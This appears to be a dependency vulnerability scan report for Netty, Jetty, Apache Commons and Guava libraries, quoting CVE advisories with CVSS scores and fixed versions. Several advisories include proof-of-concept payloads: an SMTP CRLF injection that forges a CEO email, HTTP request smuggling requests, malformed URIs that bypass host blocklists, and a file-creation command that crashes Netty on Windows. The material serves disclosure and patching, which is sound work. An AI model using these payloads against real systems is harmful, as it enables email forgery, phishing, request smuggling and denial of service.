Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
+ +
Description +
+ +### Impact +When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. + +### Workarounds +As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: + +``` +SslContext context = ...; +SslHandler handler = context.newHandler(....); +``` + +to: + +``` +SslContext context = ...; +SSLEngine engine = context.newEngine(....); +SslHandler handler = new SslHandler(engine, ....); +``` + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.11.0 (maven) + +pkg:maven/commons-io/commons-io@2.11.0
+high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
+ +
Description +
+ +Uncontrolled Resource Consumption vulnerability in Apache Commons IO. + +The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. + + +This issue affects Apache Commons IO: from 2.0 before 2.14.0. + +Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) + +pkg:maven/commons-beanutils/commons-beanutils@1.9.4
+high 8.8: CVE--2025--48734 Improper Access Control + + + + + + + + +
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
+ +
Description +
+ +Improper Access Control vulnerability in Apache Commons. + + + +A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. + + + + + +Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). +Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. + +This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils + + 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. + + +Users of the artifact org.apache.commons:commons-beanutils2 + + 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.96.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
+ +
Description +
+ +### Summary +The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors + +### Details +1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. +2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits + +### PoC + +Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder + + +Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 + +### Impact +Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
+medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+ +medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. + +So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. + +
+
+ +low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
+ +
Description +
+ +If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. + +```java +if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) +execCmd = "\"" + execCmd + "\""; +``` + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-common@4.1.96.Final
+medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
+ +
Description +
+ +### Summary +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + +### Details +A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv +This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. + + +### PoC +The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. +When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. + +### Impact +Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv + +
+
+ +medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
+ +
Description +
+ +### Summary + +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + + +### Details + +When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. + +At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. + +1 + +If netty finds this files, it reads them and loads them into memory. + +By default : + +- The JVM maximum memory size is set to 1 GB, +- A non-privileged user can create a directory at `C:\` and create files within it. + +2 + +3 + +the source code identified : +https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java + +Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. + +### PoC + +Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. + +To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) + +``` +cd C:\etc +fsutil file createnew os-release 3000000000 +``` + +4 + +5 + +The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). + +The vulnerability was tested on the 4.1.112.Final version. + +The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 + +### Impact + +By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. + +This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. + +Client mode : + +6 + +Server mode : + +7 + +somaxconn : + +8 + +### Severity + +- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. +- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). +- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. +- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. +- Scope : "Unchanged" because only Netty is affected by the vulnerability. +- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. +- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. +- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
